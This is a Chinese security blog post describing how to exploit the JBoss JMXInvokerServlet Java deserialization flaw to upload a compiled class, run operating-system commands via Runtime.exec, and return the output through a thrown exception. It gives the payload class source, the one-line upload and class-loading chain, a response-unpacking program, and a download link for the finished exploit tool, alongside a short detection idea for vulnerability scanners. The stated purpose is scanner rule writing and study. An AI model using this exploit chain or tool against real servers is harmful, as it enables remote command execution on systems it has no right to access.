>Java反序列化漏洞执行命令回显实现及Exploit下载 | 安全盒子 | xxx>Java反序列化漏洞执行命令回显实现及Exploit下载 | 安全盒子 – xxx
菜单

>Java反序列化漏洞执行命令回显实现及Exploit下载 | 安全盒子

九月 1, 2018 - 安全盒子

本文原创作者:rebeyond

文中提及的部分技术、工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用!

0×00 前言

前段时间java 的反序列化漏洞吵得沸沸扬扬,从刚开始国外某牛的一个可以执行OS命令的payload生成器,到后来的通过URLClassLoader来加载远程类来反弹shell。但是后来公司漏扫需要加规则来识别这种漏洞,而客户的漏扫又时常会工作在纯内网的环境下,因此远程加载类的方法行不通。想到自己写一个利用工具,于是有了下面这篇文章(本文以JBOSS为例)。

0×01目标

1
2
3
<span class=“pln”>1.   EXP只能利用服务器本机的资源,不能加载远程类。
2.   上传任意文件至任意目录。
3.   获取命令执行的回显内容。</span>

0×02实现

EXP只能利用服务器本机的资源,不能加载远程类:

通过对漏洞成因分析可以得知,我们只能通过链式调用来执行java语句。换句话说,我们所想执行的语句必须可以写到一行里面,而且还不能带分号:( 其实这里很好突破,我们只要把我们想要执行的任意代码(无论有多长)在本地编译成class,然后把class字节码上传到服务器就可以了。然后问题又来了,怎么上传呢,上传到什么路径下面呢?上传可以通过FileOutputStream这个类来实现,上传路径就更简单了,直接给FileOutputStream传个“.”过去,上传到程序运行的当前目录下面,一句话代码:new FileOutputStream(“./payload.class”).write(new byte[]{0xXX,0xXX……})。上传的问题解决了,下面执行也就好办了,一句代码:java.net.URLClassLoader. getConstructor(java.net.URL[].class). newInstance(new java.net.URL[] {new java.net.URL(“file:./”)}). loadClass(“payload”). newInstance(“cmd.exe /c whoami”)。

这样就解决了我们的两个目标,只利用服务器本机资源,不需要联网,可以上传任意文件至任意目录。

获取命令回显内容:

通过对JBOSS中invoker/JMXInvokerServlet的返回结果进行分析,得知返回的是一个 MarshalledValue对象,该对象封装了invoker/JMXInvokerServlet的返回值,如果执行过程中有异常抛出,一个InvocationException对象就会封装在MarshalledValue对象里面。到这里思路就很明确了,java 的异常有个构造函数是可以传String参数的,我们可以把第一步那个class文件中命令执行的结果作为参数构造一个Exception,然后在payload.class最后throw这个Exception,这样这个带有回显内容的Exception就会封装在MarshalledValue对象里面通过http协议返回,我们只要把返回的MarshalledValue对象解包,就可以获取回显的内容了。

下面给出payload.java的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<span class=“kwd”>import</span><span class=“pln”> java</span><span class=“pun”>.</span><span class=“pln”>io</span><span class=“pun”>.</span><span class=“typ”>BufferedReader</span><span class=“pun”>;</span>
<span class=“kwd”>import</span><span class=“pln”> java</span><span class=“pun”>.</span><span class=“pln”>io</span><span class=“pun”>.</span><span class=“typ”>InputStreamReader</span><span class=“pun”>;</span>
<span class=“kwd”>public</span><span class=“pln”> </span><span class=“kwd”>class</span><span class=“pln”> </span><span class=“typ”>RunCheckConfig</span><span class=“pln”> </span><span class=“pun”>{</span><span class=“pln”>
    </span><span class=“kwd”>public</span><span class=“pln”> </span><span class=“typ”>RunCheckConfig</span><span class=“pun”>(</span><span class=“typ”>String</span><span class=“pln”>  args</span><span class=“pun”>)</span><span class=“pln”> </span><span class=“kwd”>throws</span><span class=“pln”> </span><span class=“typ”>Exception</span><span class=“pln”>
    </span><span class=“pun”>{</span><span class=“pln”>
        </span><span class=“typ”>Process</span><span class=“pln”> proc </span><span class=“pun”>=</span><span class=“pln”> </span><span class=“typ”>Runtime</span><span class=“pun”>.</span><span class=“pln”>getRuntime</span><span class=“pun”>().</span><span class=“pln”>exec</span><span class=“pun”>(</span><span class=“pln”>args</span><span class=“pun”>);</span><span class=“pln”>
        </span><span class=“typ”>BufferedReader</span><span class=“pln”> br </span><span class=“pun”>=</span><span class=“pln”> </span><span class=“kwd”>new</span><span class=“pln”> </span><span class=“typ”>BufferedReader</span><span class=“pun”>(</span><span class=“kwd”>new</span><span class=“pln”> </span><span class=“typ”>InputStreamReader</span><span class=“pun”>(</span><span class=“pln”>proc</span><span class=“pun”>.</span><span class=“pln”>getInputStream</span><span class=“pun”>()));</span><span class=“pln”>
        </span><span class=“typ”>StringBuffer</span><span class=“pln”> sb </span><span class=“pun”>=</span><span class=“pln”> </span><span class=“kwd”>new</span><span class=“pln”> </span><span class=“typ”>StringBuffer</span><span class=“pun”>();</span><span class=“pln”>
        </span><span class=“typ”>String</span><span class=“pln”> line</span><span class=“pun”>;</span><span class=“pln”>
        </span><span class=“kwd”>while</span><span class=“pln”> </span><span class=“pun”>((</span><span class=“pln”>line </span><span class=“pun”>=</span><span class=“pln”> br</span><span class=“pun”>.</span><span class=“pln”>readLine</span><span class=“pun”>())</span><span class=“pln”> </span><span class=“pun”>!=</span><span class=“pln”> </span><span class=“kwd”>null</span><span class=“pun”>)</span><span class=“pln”>
        </span><span class=“pun”>{</span><span class=“pln”>
            sb</span><span class=“pun”>.</span><span class=“pln”>append</span><span class=“pun”>(</span><span class=“pln”>line</span><span class=“pun”>).</span><span class=“pln”>append</span><span class=“pun”>(</span><span class=“str”>“/n”</span><span class=“pun”>);</span><span class=“pln”>
        </span><span class=“pun”>}</span><span class=“pln”>
        </span><span class=“typ”>String</span><span class=“pln”> result </span><span class=“pun”>=</span><span class=“pln”> sb</span><span class=“pun”>.</span><span class=“pln”>toString</span><span class=“pun”>();</span><span class=“pln”>
        </span><span class=“typ”>Exception</span><span class=“pln”> e</span><span class=“pun”>=</span><span class=“kwd”>new</span><span class=“pln”> </span><span class=“typ”>Exception</span><span class=“pun”>(</span><span class=“pln”>result</span><span class=“pun”>);</span><span class=“pln”>
        </span><span class=“kwd”>throw</span><span class=“pln”> e</span><span class=“pun”>;</span><span class=“pln”>
        </span><span class=“pun”>}</span><span class=“pln”>
    </span><span class=“pun”>}</span>

解包程序的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<span class=“kwd”>public</span><span class=“pln”> </span><span class=“kwd”>static</span><span class=“pln”> </span><span class=“kwd”>void</span><span class=“pln”> main</span><span class=“pun”>(</span><span class=“typ”>String</span><span class=“pln”> args</span><span class=“pun”>[])</span><span class=“pln”> </span><span class=“kwd”>throws</span><span class=“pln”> </span><span class=“typ”>Exception</span><span class=“pln”>
   </span><span class=“pun”>{</span><span class=“pln”>
        </span><span class=“typ”>FileInputStream</span><span class=“pln”> fis </span><span class=“pun”>=</span><span class=“pln”> </span><span class=“kwd”>new</span><span class=“pln”> </span><span class=“typ”>FileInputStream</span><span class=“pun”>(</span><span class=“str”>“d:/response.bin”</span><span class=“pun”>);</span><span class=“pln”> 
        </span><span class=“kwd”>byte</span><span class=“pln”> </span><span class=“typ”>TempByte</span><span class=“pun”>[]=</span><span class=“kwd”>new</span><span class=“pln”> </span><span class=“kwd”>byte</span><span class=“pun”>[</span><span class=“lit”>5000</span><span class=“pun”>*</span><span class=“lit”>1000</span><span class=“pun”>];</span><span class=“pln”>
           </span><span class=“kwd”>int</span><span class=“pln”> length</span><span class=“pun”>=</span><span class=“pln”>fis</span><span class=“pun”>.</span><span class=“pln”>read</span><span class=“pun”>(</span><span class=“typ”>TempByte</span><span class=“pun”>);</span><span class=“pln”>
           </span><span class=“kwd”>int</span><span class=“pln”> </span><span class=“typ”>ClassStart</span><span class=“pun”>=</span><span class=“lit”>0</span><span class=“pun”>;</span><span class=“pln”>
           </span><span class=“kwd”>for</span><span class=“pln”> </span><span class=“pun”>(</span><span class=“kwd”>int</span><span class=“pln”> i</span><span class=“pun”>=</span><span class=“lit”>0</span><span class=“pun”>;</span><span class=“pln”>i</span><span class=“pun”>&lt;</span><span class=“pln”>length</span><span class=“pun”>;</span><span class=“pln”>i</span><span class=“pun”>++)</span><span class=“pln”>
           </span><span class=“pun”>{</span><span class=“pln”>
            </span><span class=“kwd”>if</span><span class=“pln”> </span><span class=“pun”>(</span><span class=“typ”>TempByte</span><span class=“pun”>[</span><span class=“pln”>i</span><span class=“pun”>]==</span><span class=“lit”>0x0d</span><span class=“pun”>&amp;&amp;</span><span class=“typ”>TempByte</span><span class=“pun”>[</span><span class=“pln”>i</span><span class=“pun”>+</span><span class=“lit”>1</span><span class=“pun”>]==</span><span class=“lit”>0x0a</span><span class=“pun”>&amp;&amp;</span><span class=“typ”>TempByte</span><span class=“pun”>[</span><span class=“pln”>i</span><span class=“pun”>+</span><span class=“lit”>2</span><span class=“pun”>]==</span><span class=“lit”>0x0d</span><span class=“pun”>&amp;&amp;</span><span class=“typ”>TempByte</span><span class=“pun”>[</span><span class=“pln”>i</span><span class=“pun”>+</span><span class=“lit”>3</span><span class=“pun”>]==</span><span class=“lit”>0x0a</span><span class=“pun”>)</span><span class=“pln”>
            </span><span class=“pun”>{</span><span class=“pln”>
                </span><span class=“typ”>System</span><span class=“pun”>.</span><span class=“pln”>out</span><span class=“pun”>.</span><span class=“pln”>println</span><span class=“pun”>(</span><span class=“pln”>i</span><span class=“pun”>);</span><span class=“pln”>
                </span><span class=“typ”>ClassStart</span><span class=“pun”>=</span><span class=“pln”>i</span><span class=“pun”>;</span><span class=“pln”>
                </span><span class=“kwd”>break</span><span class=“pun”>;</span><span class=“pln”>
            </span><span class=“pun”>}</span><span class=“pln”>
           </span><span class=“pun”>}</span><span class=“pln”>
           </span><span class=“kwd”>byte</span><span class=“pln”> </span><span class=“typ”>ClassByte</span><span class=“pun”>[]=</span><span class=“kwd”>new</span><span class=“pln”> </span><span class=“kwd”>byte</span><span class=“pun”>[</span><span class=“pln”>length</span><span class=“pun”></span><span class=“typ”>ClassStart</span><span class=“pun”></span><span class=“lit”>4</span><span class=“pun”>];</span><span class=“pln”>
           </span><span class=“kwd”>for</span><span class=“pln”> </span><span class=“pun”>(</span><span class=“kwd”>int</span><span class=“pln”> i</span><span class=“pun”>=</span><span class=“lit”>0</span><span class=“pun”>;</span><span class=“pln”>i</span><span class=“pun”>&lt;</span><span class=“typ”>ClassByte</span><span class=“pun”>.</span><span class=“pln”>length</span><span class=“pun”>;</span><span class=“pln”>i</span><span class=“pun”>++)</span><span class=“pln”>
           </span><span class=“pun”>{</span><span class=“pln”>
            </span><span class=“typ”>ClassByte</span><span class=“pun”>[</span><span class=“pln”>i</span><span class=“pun”>]=</span><span class=“typ”>TempByte</span><span class=“pun”>[</span><span class=“pln”>i</span><span class=“pun”>+</span><span class=“typ”>ClassStart</span><span class=“pun”>+</span><span class=“lit”>4</span><span class=“pun”>];</span><span class=“pln”>
           </span><span class=“pun”>}</span><span class=“pln”>
           fis</span><span class=“pun”>.</span><span class=“pln”>close</span><span class=“pun”>();</span><span class=“pln”>
           </span><span class=“typ”>TempByte</span><span class=“pun”>=</span><span class=“kwd”>null</span><span class=“pun”>;</span><span class=“pln”>
           </span><span class=“typ”>ByteArrayInputStream</span><span class=“pln”> ai</span><span class=“pun”>=</span><span class=“kwd”>new</span><span class=“pln”> </span><span class=“typ”>ByteArrayInputStream</span><span class=“pun”>(</span><span class=“typ”>ClassByte</span><span class=“pun”>);</span><span class=“pln”>
          </span><span class=“typ”>ObjectInputStream</span><span class=“pln”> ois </span><span class=“pun”>=</span><span class=“pln”> </span><span class=“kwd”>new</span><span class=“pln”> </span><span class=“typ”>ObjectInputStream</span><span class=“pun”>(</span><span class=“pln”>ai</span><span class=“pun”>);</span><span class=“pln”> 
          </span><span class=“typ”>MarshalledValue</span><span class=“pln”> st1 </span><span class=“pun”>=</span><span class=“pln”> </span><span class=“pun”>(</span><span class=“typ”>MarshalledValue</span><span class=“pun”>)</span><span class=“pln”> ois</span><span class=“pun”>.</span><span class=“pln”>readObject</span><span class=“pun”>();</span><span class=“pln”>
          </span><span class=“typ”>InvocationException</span><span class=“pln”> o</span><span class=“pun”>=(</span><span class=“typ”>InvocationException</span><span class=“pun”>)</span><span class=“pln”> st1</span><span class=“pun”>.</span><span class=“pln”>get</span><span class=“pun”>();</span><span class=“pln”>
          </span><span class=“typ”>System</span><span class=“pun”>.</span><span class=“pln”>out</span><span class=“pun”>.</span><span class=“pln”>println</span><span class=“pun”>(</span><span class=“pln”>o</span><span class=“pun”>.</span><span class=“pln”>getTargetException</span><span class=“pun”>().</span><span class=“pln”>getCause</span><span class=“pun”>().</span><span class=“pln”>getCause</span><span class=“pun”>().</span><span class=“pln”>getCause</span><span class=“pun”>().</span><span class=“pln”>getMessage</span><span class=“pun”>());</span>
<span class=“pun”>}</span>

下面是解包后的截图:

>Java反序列化漏洞执行命令回显实现及Exploit下载 | 安全盒子

0×03总结

到这里我们本文的三个目标都已经完成了。

对于本文的初衷,如何让漏扫来判断是否存在漏洞,就更简单了,只要一句代码就可以了:new FileOutputStream(“/u0000”);,然后在返回内容里查找字符串“java.io.FileNotFoundException”,或者像我们前面做的那样,解包然后判断exception的类型是不是java.io.FileNotFoundException。

另外,附上该Exploit的成品截图及下载地址,仅供研究,请勿用于任何非法活动:

>Java反序列化漏洞执行命令回显实现及Exploit下载 | 安全盒子

下载地址:链接:http://share.weiyun.com/2d8bac0d1a61378f5b0be06a42eca962 (密码:Po4i)


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51